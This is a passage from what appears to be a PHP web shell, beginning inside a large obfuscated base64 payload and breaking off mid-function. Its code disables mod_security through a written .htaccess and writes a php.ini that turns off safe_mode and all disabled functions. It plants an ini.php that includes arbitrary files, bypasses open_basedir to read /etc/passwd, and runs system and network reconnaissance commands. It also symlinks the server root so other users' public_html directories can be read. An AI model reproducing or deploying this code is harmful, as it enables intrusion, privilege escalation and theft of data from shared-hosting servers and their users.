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'))); ?></textarea>
1050</td>
1051</tr>
1052<tr>
1053<td>
1054<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
1055 </td></tr></table>
1056</form>
1057
1058<?php }
1059# x=dmsec1
1060elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec1')) {
1061@error_reporting(0);
1062$htaccess=fopen('.htaccess','w');
1063$iniphp=fopen('ini.php','w');
1064
1065$jablay="<IfModule mod_security.c>
1066SecFilterEngine OFF
1067SecFilterScanPOST OFF
1068</IfModule>";
1069$kimcil="<?
1070echo ini_get(\"safe_mode\");
1071echo ini_get(\"open_basedir\");
1072include(\$_GET[\"file\"]);
1073ini_restore(\"safe_mode\");
1074ini_restore(\"open_basedir\");
1075echo ini_get(\"safe_mode\");
1076echo ini_get(\"open_basedir\");
1077include(\$_GET[\"ss\"]);
1078?>";
1079fwrite($htaccess,$jablay);
1080fwrite($iniphp,$kimcil);
1081
1082$kobel="<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>HTACCESS ]:=O</span></b></nobr><br/><br/><nobr><span class='b9'>Generate htaccess & ini.php Successfully :)</span></nobr><br/><br/><br/></center>";
1083echo $kobel;
1084}
1085
1086# x=dmsec2
1087elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec2')){ ?>
1088<form action="?dm=<?php echo $pwd; ?>&x=dmsec2" method="post">
1089
1090<?php
1091@error_reporting(0);
1092$ayo=fopen('php.ini','w');
1093$blay=" safe_mode = OFF
1094disable_functions = NONE";
1095fwrite($ayo,$blay);
1096$hotel=" <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>PHP.INI ]:=O</span></b></nobr><br/><br/>
1097<nobr><span class='b9'>Generate php.ini Successfully :)</span></nobr><br/><br/><br/></center>";
1098echo $hotel;
1099}
1100
1101# x=dmsec3
1102elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec3')) {
1103
1104@error_reporting(0);
1105function CleanDir($d){
1106$d=str_replace("\\","/",$d);
1107$d=str_replace("//","/",$d);
1108return $d;
1109}
1110if(isset($_POST['curl_bypass'])){
1111@error_reporting(0);
1112$ch=curl_init("file://$_POST[file_bypass]");
1113curl_setopt($ch,CURLOPT_HEADERS,0);
1114curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1115$file_out=curl_exec($ch);
1116curl_close($ch);
1117echo "<br/><br/><center><textarea rows='20' style='color:#FF0000;background-color:#000000' cols='70' >".htmlspecialchars($file_out)."</textarea></br></br>";
1118}
1119
1120elseif(isset($_POST['tmp_bypass'])) {
1121tempnam("/home/",$_POST['file_passwd']);
1122 }
1123
1124elseif(isset($_POST['copy_bypass'])) {
1125if(@copy($_POST['file_bypass'],$_POST['dest'])) {
1126@$fh=fopen($_POST['dest'],'r');
1127echo "<textarea rows='20' style='color:#FF0000;background-color:#000000' cols='70'>".htmlspecialchars(@fread($fh,filesize($_POST['dest'])))."</textarea></br></br>";
1128@fclose($fh);
1129 } else echo "<center><br/><br/>
1130<h1>O=:[ BYPASS DENIED ]:=O</h1><br></br>";
1131 }
1132echo "<br/><br/><table style='margin: auto; width: 100%; text-align: center;'><tr>
1133<td colspan='3'> <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span><span class='b8'>BASEDIR ]:=O</span></b></nobr><br/><br/></center> </td>
1134</tr>
1135<tr>
1136<td>[~] Bypass Basedir cURL [~]</td>
1137<td>[~] Bypass Basedir tempnam() [~]</td>
1138<td>[~] Bypass Basedir copy() [~]</td>
1139</tr>
1140<tr>
1141<td><nobr><form method='post' name='bypasser'>
1142FILE : <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='curl_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td>
1143
1144<td><nobr><form method='post' name='bypasser'>FILE : <input type='text' style='color:#FF0000;background-color:#000000' value='../../../etc/passwd' name='file_bypass'> <input type='submit' style='color:#FF0000;background-color:#000000' name='tmp_bypass' value='Bypass'>
1145</nobr></form>
1146</td>
1147<td><nobr><form method='post' name='bypasser'>FILE COPY TO : <input type='text'style='color:#FF0000;background-color:#000000' style='width: 250px;' name='dest' value='".CleanDir(getcwd())."/maho.txt'> <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='copy_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'>
1148</nobr></form>
1149</td>
1150</table>";
1151}
1152
1153# x=dmsec4
1154elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsec4')) {
1155
1156function dmprocess() {
1157if(!$win) {
1158$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");
1159}
1160else {
1161$handler = "tasklist";
1162}
1163$ret = myshellexec($handler);
1164if (!$ret) {
1165echo "Can't execute \"".$handler."\"!";
1166}
1167else {
1168if (empty($processes_sort)) {
1169$processes_sort = $sort_default;
1170}
1171$parsesort = parsesort($processes_sort);
1172if(!is_numeric($parsesort[0])) {
1173$parsesort[0] = 0;
1174}
1175$k = $parsesort[0];
1176$ret = htmlspecialchars($ret);
1177if(!$win) {
1178if($pid) {
1179if (is_null($sig)) {$sig = 9;}
1180echo "Sending signal ".$sig." to #".$pid."... ";
1181if (posix_kill($pid,$sig)) {
1182echo "OK.";
1183}
1184else {
1185echo "ERROR.";
1186}
1187}
1188while (ereg(" ",$ret)) {
1189$ret = str_replace(" "," ",$ret);
1190}
1191$stack = explode("\n",$ret);
1192$head = explode(" ",$stack[0]);
1193unset($stack[0]);
1194$prcs = array();
1195
1196foreach ($stack as $line) {
1197if(!empty($line)) {
1198echo "<tr>";
1199$line = explode(" ",$line);
1200$line[10] = join(" ",array_slice($line,10));
1201$line = array_slice($line,0,11);
1202$prcs[] = $line;
1203echo "</tr>";
1204}
1205}
1206}
1207else {
1208
1209while (ereg(" ",$ret)) {
1210$ret = str_replace(" ","",$ret);
1211}
1212while (ereg(" ",$ret)) {
1213$ret = str_replace(" ","",$ret);
1214}
1215while (ereg(" ",$ret)) {
1216$ret = str_replace(" ","",$ret);
1217}
1218while (ereg(" ",$ret)) {
1219$ret = str_replace(" ","",$ret);
1220}
1221while (ereg(" ",$ret)) {
1222$ret = str_replace(" ","",$ret);
1223}
1224while (ereg(" ",$ret)) {
1225$ret = str_replace(" ","",$ret);
1226}
1227while (ereg(" ",$ret)) {
1228$ret = str_replace(" ","",$ret);
1229}
1230while (ereg(" ",$ret)) {
1231$ret = str_replace(" ","",$ret);
1232}
1233while (ereg(" ",$ret)) {
1234$ret = str_replace(" ","",$ret);
1235}
1236while (ereg("",$ret)) {
1237$ret = str_replace("","",$ret);
1238}
1239while (ereg(" ",$ret)) {
1240$ret = str_replace(" ","",$ret);
1241}
1242$ret = convert_cyr_string($ret,"d","w");
1243$stack = explode("\n",$ret);
1244unset($stack[0],$stack[2]);
1245$stack = array_values($stack);
1246$head = explode("",$stack[0]);
1247$head[1] = explode(" ",$head[1]);
1248$head[1] = $head[1][0];
1249$stack = array_slice($stack,1);
1250unset($head[2]);
1251$head = array_values($head);
1252if ($k > count($head)) {
1253$k = count($head)-1;
1254}
1255$prcs = array();
1256foreach ($stack as $line) {
1257if (!empty($line)) {
1258echo "<tr>";
1259$line = explode("",$line);
1260$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
1261$line[2] = intval(str_replace(" ","",$line[2]))*1024;
1262$prcs[] = $line;
1263echo "</tr>";
1264 }
1265 }
1266 }
1267$head[$k] = "<b>".$head[$k]."</b>".$y;
1268$v = $processes_sort[0];
1269if($processes_sort[1] == "d") {
1270$prcs = array_reverse($prcs);
1271}
1272$tab = array();
1273$tab[] = $head;
1274$tab = array_merge($tab,$prcs);
1275echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
1276foreach($tab as $i=>$k) {
1277echo "<tr>";
1278foreach($k as $j=>$v) {
1279
1280if($win and $i > 0 and $j == 2) {
1281$v = view_size($v);
1282}
1283echo "<td>".$v."</td>";
1284}
1285echo "</tr>";
1286}
1287echo "</table>";
1288}
1289}
1290
1291echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS</span> <span class='b8'>PROCESS ]:=O</span></b></nobr><br/><br/>";
1292
1293if($win) {
1294echo "<form method='post'>
1295<select class='inputz' name='windowsprocess'>
1296<option name='systeminfo'>System Info</option>
1297<option name='active'>Active Connections</option>
1298<option name='runningserv'>Running Services</option>
1299<option name='useracc'>User Accounts</option>
1300<option name='showcom'>Show Computers</option>
1301<option name='arptab'>ARP Table</option>
1302<option name='ipconf'>IP Configuration</option></select>
1303<input type='submit' class='inputzbut' name='submitwinprocess' value='View'>
1304</form>";
1305} else {
1306echo "<form method='post'>
1307<select class='inputz' name='nonwindowsprocess'>
1308<option name='passwd'>Passwd</option>
1309<option name='syslog'>Syslog</option>
1310<option name='resolv'>Resolv</option>
1311<option name='hosts'>Hosts</option>
1312<option name='cpuinfo'>Cpuinfo</option>
1313<option name='version'>Version</option>
1314<option name='sbin'>Sbin</option>
1315<option name='interrupts'>Interrupts</option>
1316<option name='lsattr'>lsattr</option>
1317<option name='uptime'>Uptime</option>
1318<option name='fstab'>Fstab</option>
1319<option name='hddspace'>HDD Space</option>
1320</select>
1321<input type='submit' class='inputzbut' name='submitnonwinprocess' value=' >> '></form>";
1322}
1323
1324$windowsprocess = $_POST['windowsprocess'];
1325$nonwindowsprocess = $_POST['nonwindowsprocess'];
1326
1327if ($windowsprocess=="System Info") $winruncom = "systeminfo";
1328if ($windowsprocess=="Active Connections") $winruncom = "netstat -an";
1329if ($windowsprocess=="Running Services") $winruncom = "net start";
1330if ($windowsprocess=="User Accounts") $winruncom = "net user";
1331if ($windowsprocess=="Show Computers") $winruncom = "net view";
1332if ($windowsprocess=="ARP Table") $winruncom = "arp -a";
1333if ($windowsprocess=="IP Configuration") $winruncom = "ipconfig /all";
1334if ($nonwindowsprocess=="Syslog") $winruncom = "cat /etc/syslog.conf";
1335if ($nonwindowsprocess=="Resolv") $winruncom = "cat /etc/resolv.conf";
1336if ($nonwindowsprocess=="Hosts") $winruncom = "cat /etc/hosts";
1337if ($nonwindowsprocess=="Passwd") $winruncom = "cat /etc/passwd";
1338if ($nonwindowsprocess=="Cpuinfo") $winruncom = "cat /proc/cpuinfo";
1339if ($nonwindowsprocess=="Version") $winruncom = "cat /proc/version";
1340if ($nonwindowsprocess=="Sbin") $winruncom = "ls -al /usr/sbin";
1341if ($nonwindowsprocess=="Interrupts") $winruncom = "cat /proc/interrupts";
1342if ($nonwindowsprocess=="lsattr") $winruncom = "lsattr -va";
1343if ($nonwindowsprocess=="Uptime") $winruncom = "uptime";
1344if ($nonwindowsprocess=="Fstab") $winruncom = "cat /etc/fstab";
1345if ($nonwindowsprocess=="HDD Space") $winruncom = "df -h";
1346if (isset($winruncom)) {
1347echo "<table class='cmdbox'><tbody><tr><td colspan='2'><textarea class='output' name='content'>".exe($winruncom)."</textarea></td></tr></table></center>";
1348}
1349if (isset($systeminfo)) {
1350echo "<br><br>";
1351dmprocess();
1352}
1353}
1354
1355# x=dmsym1
1356elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym1')) {
1357@session_start();
1358@set_time_limit(0);
1359@ini_set('max_execution_time',0);
1360if($win){
1361echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1362}
1363@mkdir('dm1sym',0777);
1364$sempak = "Options all \n
1365DirectoryIndex dm.html \n
1366AddType text/plain .php \n
1367AddHandler server-parsed .php \n
1368AddType text/plain .html \n
1369AddHandler txt .html \n
1370Require None \n
1371Satisfy Any";
1372$masuk =@fopen ('dm1sym/.htaccess','w');
1373fwrite($masuk ,$sempak);
1374@symlink('/','dm1sym/dm.txt');
1375$pg = basename(__FILE__);
1376
1377
1378if(is_readable("/var/named")){
1379echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">VAR/NAMED ]:=O</span></b></nobr><br/><br/></center>
1380<table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
1381<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1382<td align="center"> <font color="white"> <b>_USERS_</b></td>
1383<td align="center"> <font color="white"> <b>_SYMLINK_</b></center></td>';
1384$list = scandir("/var/named");
1385foreach($list as $domain){
1386if(strpos($domain,".db")){
1387@error_reporting(0);
1388@ini_set('log_errors',0);
1389@ini_set('error_log',NULL);
1390
1391$i += 1;
1392$domain = str_replace('.db','',$domain);
1393$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1394echo "<tr>
1395<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
1396<td align='center'><font color='white'>".$owner['name']."</td>
1397<td align='center'><a href='dm1sym/dm.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
1398}
1399}
1400flush();
1401flush();
1402}
1403echo "</tr></table></div></html>";
1404}
1405
1406# x=dmsym2
1407elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym2')) {
1408@session_start();
1409@set_time_limit(0);
1410@error_reporting(0);
1411@ini_set('log_errors',0);
1412@ini_set('error_log',NULL);
1413@ini_set('max_execution_time',0);
1414 if($win){
1415echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1416}
1417@mkdir('dm2sym',0777);
1418$sempak = "Options all \n
1419DirectoryIndex dm.html \n
1420AddType text/plain .php \n
1421AddHandler server-parsed .php \n
1422AddType text/plain .html \n
1423AddHandler txt .html \n
1424Require None \n
1425Satisfy Any";
1426$masuk =@fopen ('dm2sym/.htaccess','w');
1427fwrite($masuk ,$sempak);
1428@symlink('/','dm2sym/dm.txt');
1429$pg = basename(__FILE__);
1430
1431if(is_readable("/etc/passwd-")){
1432$gelartiker = 'file_get_contents';
1433$seret = '/etc/passwd-';
1434$isikarung = $gelartiker($seret);
1435$buka = fopen('maho.txt', 'w');
1436fwrite($buka,$isikarung);
1437}
1438
1439if(isset($_GET['file']) or @filesize('maho.txt') > 0) {
1440$cont = stripcslashes($_POST['file']);
1441if(!file_exists('maho.txt')){
1442$f = @fopen('maho.txt','w');
1443$w = @fwrite($f,$cont);
1444fclose($f);
1445}
1446if($w or @filesize('maho.txt') > 0){
1447echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK</span> <span class='b8'>ETC/PASSWD- ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='400' cellspacing='0' cellpadding='0'>
1448<td align='center'> <font color='white'> <b>_USERS_</b></td>
1449<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
1450flush();
1451$fil3 = file('maho.txt');
1452foreach ($fil3 as $f){
1453$u=explode(':', $f);
1454$user = $u['0'];
1455echo "<tr>
1456<td align='center'><font color='white'>$user</td>
1457<td align='center'><a class='dm' href='dm2sym/dm.txt/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
1458flush();
1459flush();
1460}
1461echo "</tr></table></div></html>";
1462}
1463}
1464}
1465
1466# x=dmsym3
1467elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym3')) {
1468@session_start();
1469@set_time_limit(0);
1470@error_reporting(0);
1471@ini_set('log_errors',0);
1472@ini_set('error_log',NULL);
1473@ini_set('max_execution_time',0);
1474if($win){
1475echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1476}
1477@mkdir('dm3sym',0777);
1478$sempak = "Options all \n
1479DirectoryIndex dm.html \n
1480AddType text/plain .php \n
1481AddHandler server-parsed .php \n
1482AddType text/plain .html \n
1483AddHandler txt .html \n
1484Require None \n
1485Satisfy Any";
1486$masuk =@fopen ('dm3sym/.htaccess','w');
1487fwrite($masuk ,$sempak);
1488@symlink('/','dm3sym/dm.txt');
1489$pg = basename(__FILE__);
1490
1491$etc = file_get_contents("/etc/passwd");
1492$etcz = explode("\n",$etc);
1493if(is_readable("/etc/passwd")){
